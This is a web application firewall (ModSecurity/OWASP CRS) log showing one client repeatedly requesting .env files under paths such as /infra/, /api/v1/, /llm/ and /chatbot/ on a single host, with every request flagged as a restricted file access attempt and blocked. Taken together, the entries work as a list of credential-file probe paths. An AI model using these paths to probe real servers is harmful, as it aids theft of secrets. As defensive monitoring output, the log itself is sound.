[Sun Oct 25 10:21:34.574852 2026] [security2:error] [pid 2847141:tid 2847141] [client 35.204.239.58:42612] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /infra/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/infra/.env"] [unique_id "at4Qbgbh6It5ncJCFORluwAAAAY"]
[Sun Oct 25 10:21:34.575003 2026] [security2:error] [pid 2847141:tid 2847141] [client 35.204.239.58:42612] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/infra/.env"] [unique_id "at4Qbgbh6It5ncJCFORluwAAAAY"]
[Sun Oct 25 10:21:34.575237 2026] [security2:error] [pid 2847141:tid 2847141] [client 35.204.239.58:42612] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/infra/.env"] [unique_id "at4Qbgbh6It5ncJCFORluwAAAAY"]
[Sun Oct 25 10:21:34.581837 2026] [security2:error] [pid 2815605:tid 2815605] [client 35.204.239.58:42582] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /packages/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/packages/.env"] [unique_id "at4QbgYPMfHr0EMMDlnoPgAAABM"]
[Sun Oct 25 10:21:34.581972 2026] [security2:error] [pid 2815605:tid 2815605] [client 35.204.239.58:42582] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/packages/.env"] [unique_id "at4QbgYPMfHr0EMMDlnoPgAAABM"]
[Sun Oct 25 10:21:34.582217 2026] [security2:error] [pid 2815605:tid 2815605] [client 35.204.239.58:42582] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/packages/.env"] [unique_id "at4QbgYPMfHr0EMMDlnoPgAAABM"]
[Sun Oct 25 10:21:34.584697 2026] [security2:error] [pid 2847140:tid 2847140] [client 35.204.239.58:42548] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /services/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/services/.env"] [unique_id "at4QbrzfR6IZTglRqQr3UQAAAAU"]
[Sun Oct 25 10:21:34.584862 2026] [security2:error] [pid 2847140:tid 2847140] [client 35.204.239.58:42548] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/services/.env"] [unique_id "at4QbrzfR6IZTglRqQr3UQAAAAU"]
[Sun Oct 25 10:21:34.585077 2026] [security2:error] [pid 2847140:tid 2847140] [client 35.204.239.58:42548] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/services/.env"] [unique_id "at4QbrzfR6IZTglRqQr3UQAAAAU"]
[Sun Oct 25 10:21:34.590297 2026] [security2:error] [pid 2826774:tid 2826774] [client 35.204.239.58:49780] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /agents/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/agents/.env"] [unique_id "at4QbvWU2HQBncZeY47FLAAAAAQ"]
[Sun Oct 25 10:21:34.590450 2026] [security2:error] [pid 2834008:tid 2834008] [client 35.204.239.58:42540] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /bot/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/bot/.env"] [unique_id "at4QboxkYfnWL-SU_mhrhQAAAA0"]
[Sun Oct 25 10:21:34.590471 2026] [security2:error] [pid 2826774:tid 2826774] [client 35.204.239.58:49780] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/agents/.env"] [unique_id "at4QbvWU2HQBncZeY47FLAAAAAQ"]
[Sun Oct 25 10:21:34.590612 2026] [security2:error] [pid 2834008:tid 2834008] [client 35.204.239.58:42540] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/bot/.env"] [unique_id "at4QboxkYfnWL-SU_mhrhQAAAA0"]
[Sun Oct 25 10:21:34.590708 2026] [security2:error] [pid 2826774:tid 2826774] [client 35.204.239.58:49780] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/agents/.env"] [unique_id "at4QbvWU2HQBncZeY47FLAAAAAQ"]
[Sun Oct 25 10:21:34.590831 2026] [security2:error] [pid 2834008:tid 2834008] [client 35.204.239.58:42540] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/bot/.env"] [unique_id "at4QboxkYfnWL-SU_mhrhQAAAA0"]
[Sun Oct 25 10:21:34.591801 2026] [security2:error] [pid 2834019:tid 2834019] [client 35.204.239.58:42510] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /agent/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/agent/.env"] [unique_id "at4Qbksgp-xlBP1GcWOSZwAAABE"]
[Sun Oct 25 10:21:34.591949 2026] [security2:error] [pid 2834019:tid 2834019] [client 35.204.239.58:42510] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/agent/.env"] [unique_id "at4Qbksgp-xlBP1GcWOSZwAAABE"]
[Sun Oct 25 10:21:34.592182 2026] [security2:error] [pid 2834019:tid 2834019] [client 35.204.239.58:42510] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/agent/.env"] [unique_id "at4Qbksgp-xlBP1GcWOSZwAAABE"]
[Sun Oct 25 10:21:34.594343 2026] [security2:error] [pid 2847138:tid 2847138] [client 35.204.239.58:42560] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/v1/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/api/v1/.env"] [unique_id "at4QbqZ77hUnuhW6b3ZPOgAAAAA"]
[Sun Oct 25 10:21:34.594563 2026] [security2:error] [pid 2847138:tid 2847138] [client 35.204.239.58:42560] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/api/v1/.env"] [unique_id "at4QbqZ77hUnuhW6b3ZPOgAAAAA"]
[Sun Oct 25 10:21:34.594802 2026] [security2:error] [pid 2847138:tid 2847138] [client 35.204.239.58:42560] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/api/v1/.env"] [unique_id "at4QbqZ77hUnuhW6b3ZPOgAAAAA"]
[Sun Oct 25 10:21:34.597361 2026] [security2:error] [pid 2821699:tid 2821699] [client 35.204.239.58:42498] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /ai/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/ai/.env"] [unique_id "at4QbpBSQk9YSmLuOvuRlQAAAAM"]
[Sun Oct 25 10:21:34.597544 2026] [security2:error] [pid 2821699:tid 2821699] [client 35.204.239.58:42498] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/ai/.env"] [unique_id "at4QbpBSQk9YSmLuOvuRlQAAAAM"]
[Sun Oct 25 10:21:34.597779 2026] [security2:error] [pid 2821699:tid 2821699] [client 35.204.239.58:42498] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/ai/.env"] [unique_id "at4QbpBSQk9YSmLuOvuRlQAAAAM"]
[Sun Oct 25 10:21:34.602387 2026] [security2:error] [pid 2834025:tid 2834025] [client 35.204.239.58:42536] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /chatbot/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/chatbot/.env"] [unique_id "at4QbqGxe7V6jzF5H8VNeAAAABg"]
[Sun Oct 25 10:21:34.602573 2026] [security2:error] [pid 2834025:tid 2834025] [client 35.204.239.58:42536] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/chatbot/.env"] [unique_id "at4QbqGxe7V6jzF5H8VNeAAAABg"]
[Sun Oct 25 10:21:34.602803 2026] [security2:error] [pid 2834025:tid 2834025] [client 35.204.239.58:42536] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/chatbot/.env"] [unique_id "at4QbqGxe7V6jzF5H8VNeAAAABg"]
[Sun Oct 25 10:21:34.672597 2026] [security2:error] [pid 2806348:tid 2806348] [client 35.204.239.58:42524] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /ml/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/ml/.env"] [unique_id "at4Qbg-YVEbWS5meiuhlbAAAAAw"]
[Sun Oct 25 10:21:34.672597 2026] [security2:error] [pid 2842301:tid 2842301] [client 35.204.239.58:42598] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /llm/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/llm/.env"] [unique_id "at4QbrAXYX-KZxBobEnRRAAAAAI"]
[Sun Oct 25 10:21:34.672831 2026] [security2:error] [pid 2842301:tid 2842301] [client 35.204.239.58:42598] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/llm/.env"] [unique_id "at4QbrAXYX-KZxBobEnRRAAAAAI"]
[Sun Oct 25 10:21:34.672830 2026] [security2:error] [pid 2806348:tid 2806348] [client 35.204.239.58:42524] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/ml/.env"] [unique_id "at4Qbg-YVEbWS5meiuhlbAAAAAw"]
[Sun Oct 25 10:21:34.673097 2026] [security2:error] [pid 2842301:tid 2842301] [client 35.204.239.58:42598] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/llm/.env"] [unique_id "at4QbrAXYX-KZxBobEnRRAAAAAI"]
[Sun Oct 25 10:21:34.673118 2026] [security2:error] [pid 2806348:tid 2806348] [client 35.204.239.58:42524] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/ml/.env"] [unique_id "at4Qbg-YVEbWS5meiuhlbAAAAAw"]
[Sun Oct 25 10:21:34.678599 2026] [security2:error] [pid 2847140:tid 2847140] [client 35.204.239.58:42548] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /utils/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/utils/.env"] [unique_id "at4QbrzfR6IZTglRqQr3UgAAAAU"]
[Sun Oct 25 10:21:34.678811 2026] [security2:error] [pid 2847140:tid 2847140] [client 35.204.239.58:42548] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/utils/.env"] [unique_id "at4QbrzfR6IZTglRqQr3UgAAAAU"]
[Sun Oct 25 10:21:34.679168 2026] [security2:error] [pid 2847140:tid 2847140] [client 35.204.239.58:42548] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/utils/.env"] [unique_id "at4QbrzfR6IZTglRqQr3UgAAAAU"]
[Sun Oct 25 10:21:34.843118 2026] [security2:error] [pid 2847140:tid 2847140] [client 35.204.239.58:42548] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /data/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/data/.env"] [unique_id "at4QbrzfR6IZTglRqQr3UwAAAAU"]
[Sun Oct 25 10:21:34.843367 2026] [security2:error] [pid 2847140:tid 2847140] [client 35.204.239.58:42548] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/data/.env"] [unique_id "at4QbrzfR6IZTglRqQr3UwAAAAU"]
[Sun Oct 25 10:21:34.843705 2026] [security2:error] [pid 2847140:tid 2847140] [client 35.204.239.58:42548] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/data/.env"] [unique_id "at4QbrzfR6IZTglRqQr3UwAAAAU"]
